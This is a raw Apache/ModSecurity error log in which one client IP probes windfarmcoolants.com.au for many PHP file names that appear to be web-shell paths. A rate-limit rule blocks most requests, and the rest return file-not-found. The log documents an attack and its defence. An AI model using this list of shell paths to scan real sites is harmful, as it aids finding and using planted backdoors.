[Fri Apr 24 21:17:20.736984 2026] [:error] [pid 17720:tid 17775] [client 4.235.74.173:44603] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aettYOhlUs6BS3Ng7_WxRgAAANU"]
[Fri Apr 24 21:17:22.137735 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:31184] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aettYn2asKnvdrSe0x4hewAAAYE"]
[Fri Apr 24 21:17:24.527274 2026] [:error] [pid 17720:tid 17773] [client 4.235.74.173:36921] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aettZOhlUs6BS3Ng7_WxUQAAANM"]
[Fri Apr 24 21:17:26.367328 2026] [:error] [pid 17719:tid 17746] [client 4.235.74.173:4397] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aettZsTZ9gzEyL1BkPqxIQAAAJM"]
[Fri Apr 24 21:17:28.351104 2026] [:error] [pid 17721:tid 17793] [client 4.235.74.173:47237] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aettaOFXXkLeyDnfk_9CqQAAAAw"]
[Fri Apr 24 21:17:29.473129 2026] [:error] [pid 17720:tid 17765] [client 4.235.74.173:33223] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aettaehlUs6BS3Ng7_WxWQAAAMs"]
[Fri Apr 24 21:17:30.794213 2026] [:error] [pid 4177:tid 4192] [client 4.235.74.173:15062] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/koiy.php"] [unique_id "aettan2asKnvdrSe0x4hlwAAAYc"]
[Fri Apr 24 21:17:32.030861 2026] [:error] [pid 17721:tid 17791] [client 4.235.74.173:28890] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aettbOFXXkLeyDnfk_9CrwAAAAo"]
[Fri Apr 24 21:17:33.777806 2026] [:error] [pid 17720:tid 17774] [client 4.235.74.173:16165] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aettbehlUs6BS3Ng7_WxfQAAANQ"]
[Fri Apr 24 21:17:34.835390 2026] [:error] [pid 17719:tid 17738] [client 4.235.74.173:28864] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aettbsTZ9gzEyL1BkPqxKwAAAIs"]
[Fri Apr 24 21:17:35.827437 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:35424] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "aettb32asKnvdrSe0x4howAAAYE"]
[Fri Apr 24 21:17:38.551839 2026] [:error] [pid 17720:tid 17756] [client 4.235.74.173:47264] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aettcuhlUs6BS3Ng7_WxhwAAAMI"]
[Fri Apr 24 21:17:39.697588 2026] [:error] [pid 4177:tid 4200] [client 4.235.74.173:47266] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aettc32asKnvdrSe0x4hrAAAAY8"]
[Fri Apr 24 21:17:41.761672 2026] [:error] [pid 17720:tid 17767] [client 4.235.74.173:15136] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aettdehlUs6BS3Ng7_WxigAAAM0"]
[Fri Apr 24 21:17:43.138104 2026] [:error] [pid 17721:tid 17798] [client 4.235.74.173:15603] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aettd-FXXkLeyDnfk_9CvQAAABE"]
[Fri Apr 24 21:17:44.932690 2026] [:error] [pid 14531:tid 14546] [client 4.235.74.173:62931] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aetteHfLU2gw-6KR-GbQjQAAAU0"]
[Fri Apr 24 21:17:47.781765 2026] [:error] [pid 17720:tid 17771] [client 4.235.74.173:5104] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aette-hlUs6BS3Ng7_WxkgAAANE"]
[Fri Apr 24 21:17:51.887269 2026] [:error] [pid 17721:tid 17796] [client 4.235.74.173:65204] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aettf-FXXkLeyDnfk_9CwAAAAA8"]
[Fri Apr 24 21:17:52.917278 2026] [:error] [pid 17808:tid 17825] [client 4.235.74.173:54033] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sa.php7"] [unique_id "aettgOarbOEFI8qshvJBxQAAAE8"]
[Fri Apr 24 21:17:55.022866 2026] [:error] [pid 4177:tid 4200] [client 4.235.74.173:63540] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aettg32asKnvdrSe0x4h1AAAAY8"]
[Fri Apr 24 21:17:55.906489 2026] [:error] [pid 4177:tid 4185] [client 4.235.74.173:30070] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aettg32asKnvdrSe0x4h2AAAAYA"]
[Fri Apr 24 21:17:58.438641 2026] [:error] [pid 22114:tid 22123] [client 4.235.74.173:30021] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aetthoAuWGz3WlMQjofxZgAAAQY"]
[Fri Apr 24 21:17:59.384573 2026] [:error] [pid 17720:tid 17754] [client 4.235.74.173:5081] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aetth-hlUs6BS3Ng7_WxowAAAMA"]
[Fri Apr 24 21:18:01.035369 2026] [:error] [pid 17721:tid 17793] [client 4.235.74.173:62328] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aettieFXXkLeyDnfk_9CxwAAAAw"]
[Fri Apr 24 21:18:02.767220 2026] [:error] [pid 14531:tid 14539] [client 4.235.74.173:53105] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aettinfLU2gw-6KR-GbQmgAAAUY"]
[Fri Apr 24 21:18:04.600286 2026] [:error] [pid 4177:tid 4202] [client 4.235.74.173:62944] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aettjH2asKnvdrSe0x4h6gAAAZE"]
[Fri Apr 24 21:18:06.513613 2026] [:error] [pid 17720:tid 17770] [client 4.235.74.173:45090] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aettjuhlUs6BS3Ng7_WxsAAAANA"]
[Fri Apr 24 21:18:08.284785 2026] [:error] [pid 17808:tid 17826] [client 4.235.74.173:62308] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aettkOarbOEFI8qshvJB4wAAAFA"]
[Fri Apr 24 21:18:10.841494 2026] [:error] [pid 14531:tid 14549] [client 4.235.74.173:49151] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aettknfLU2gw-6KR-GbQpQAAAVA"]
[Fri Apr 24 21:18:13.071186 2026] [:error] [pid 4177:tid 4206] [client 4.235.74.173:26540] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aettlX2asKnvdrSe0x4iFAAAAZU"]
[Fri Apr 24 21:18:14.424067 2026] [:error] [pid 17719:tid 17739] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Fri Apr 24 21:18:14.686783 2026] [:error] [pid 17719:tid 17746] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/wp5.php
[Fri Apr 24 21:18:14.951839 2026] [:error] [pid 17719:tid 17748] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Fri Apr 24 21:18:15.221353 2026] [:error] [pid 17719:tid 17729] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 24 21:18:15.486141 2026] [:error] [pid 17719:tid 17745] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Fri Apr 24 21:18:15.753722 2026] [:error] [pid 17719:tid 17741] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Fri Apr 24 21:18:16.033782 2026] [:error] [pid 17719:tid 17730] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Fri Apr 24 21:18:16.296730 2026] [:error] [pid 17719:tid 17751] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Fri Apr 24 21:18:16.558126 2026] [:error] [pid 17719:tid 17732] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Fri Apr 24 21:18:16.823467 2026] [:error] [pid 17719:tid 17742] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/acc.php
[Fri Apr 24 21:18:17.087125 2026] [:error] [pid 17719:tid 17737] [client 4.235.74.173:49120] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Fri Apr 24 21:18:17.365880 2026] [:error] [pid 17719:tid 17733] [client 4.235.74.173:49120] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aettmcTZ9gzEyL1BkPqxTgAAAIY"]
[Fri Apr 24 21:18:20.557047 2026] [:error] [pid 17808:tid 17827] [client 4.235.74.173:43371] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aettnOarbOEFI8qshvJB8gAAAFE"]
[Fri Apr 24 21:18:23.076001 2026] [:error] [pid 4177:tid 4203] [client 4.235.74.173:65266] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aettn32asKnvdrSe0x4iOAAAAZI"]
[Fri Apr 24 21:18:29.702841 2026] [:error] [pid 14531:tid 14534] [client 4.235.74.173:56766] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aettpXfLU2gw-6KR-GbQvwAAAUE"]
[Fri Apr 24 21:18:31.471518 2026] [:error] [pid 17719:tid 17742] [client 4.235.74.173:20373] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aettp8TZ9gzEyL1BkPqxVAAAAI8"]
[Fri Apr 24 21:18:32.561512 2026] [:error] [pid 4177:tid 4197] [client 4.235.74.173:60565] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aettqH2asKnvdrSe0x4iYwAAAYw"]
[Fri Apr 24 21:18:35.015669 2026] [:error] [pid 17720:tid 17778] [client 4.235.74.173:22964] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aettq-hlUs6BS3Ng7_Wx-QAAANg"]
[Fri Apr 24 21:18:36.861998 2026] [:error] [pid 14531:tid 14556] [client 4.235.74.173:60588] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packsin1.php"] [unique_id "aettrHfLU2gw-6KR-GbQxgAAAVc"]
[Fri Apr 24 21:18:41.087490 2026] [:error] [pid 17808:tid 17813] [client 4.235.74.173:16057] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aettsearbOEFI8qshvJCAAAAAEM"]
[Fri Apr 24 21:18:45.656251 2026] [:error] [pid 22114:tid 22128] [client 4.235.74.173:57962] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aetttYAuWGz3WlMQjofxfQAAAQs"]
[Fri Apr 24 21:18:47.177465 2026] [:error] [pid 22114:tid 22135] [client 4.235.74.173:60562] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aettt4AuWGz3WlMQjofxfwAAARI"]
[Fri Apr 24 21:18:56.009786 2026] [:error] [pid 4177:tid 4207] [client 4.235.74.173:64272] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aettwH2asKnvdrSe0x4ikgAAAZY"]
[Fri Apr 24 21:18:58.604604 2026] [:error] [pid 14531:tid 14535] [client 4.235.74.173:18799] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aettwnfLU2gw-6KR-GbQ0wAAAUI"]
[Fri Apr 24 21:19:00.558410 2026] [:error] [pid 17720:tid 17772] [client 4.235.74.173:14878] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aettxOhlUs6BS3Ng7_WyEAAAANI"]
[Fri Apr 24 21:19:02.792102 2026] [:error] [pid 17808:tid 17814] [client 4.235.74.173:61619] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "aettxuarbOEFI8qshvJCEwAAAEQ"]
[Fri Apr 24 21:19:04.308989 2026] [:error] [pid 22114:tid 22126] [client 4.235.74.173:45160] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aettyIAuWGz3WlMQjofxkQAAAQk"]
[Fri Apr 24 21:19:05.216826 2026] [:error] [pid 17808:tid 17822] [client 4.235.74.173:65276] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aettyearbOEFI8qshvJCGAAAAEw"]
[Fri Apr 24 21:19:06.808477 2026] [:error] [pid 17721:tid 17781] [client 4.235.74.173:45132] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aettyuFXXkLeyDnfk_9C_AAAAAA"]
[Fri Apr 24 21:19:10.039899 2026] [:error] [pid 17720:tid 17755] [client 4.235.74.173:26613] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "aettzuhlUs6BS3Ng7_WyIgAAAME"]
[Fri Apr 24 21:19:12.618071 2026] [:error] [pid 17808:tid 17811] [client 4.235.74.173:14882] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aett0OarbOEFI8qshvJCKQAAAEE"]
[Fri Apr 24 21:19:16.155527 2026] [:error] [pid 14531:tid 14541] [client 4.235.74.173:56752] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aett1HfLU2gw-6KR-GbQ6QAAAUg"]
[Fri Apr 24 21:19:18.027325 2026] [:error] [pid 4177:tid 4202] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Fri Apr 24 21:19:18.291897 2026] [:error] [pid 4177:tid 4196] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Fri Apr 24 21:19:18.888118 2026] [:error] [pid 4177:tid 4192] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Fri Apr 24 21:19:19.160749 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Fri Apr 24 21:19:19.435191 2026] [:error] [pid 4177:tid 4185] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/666.php
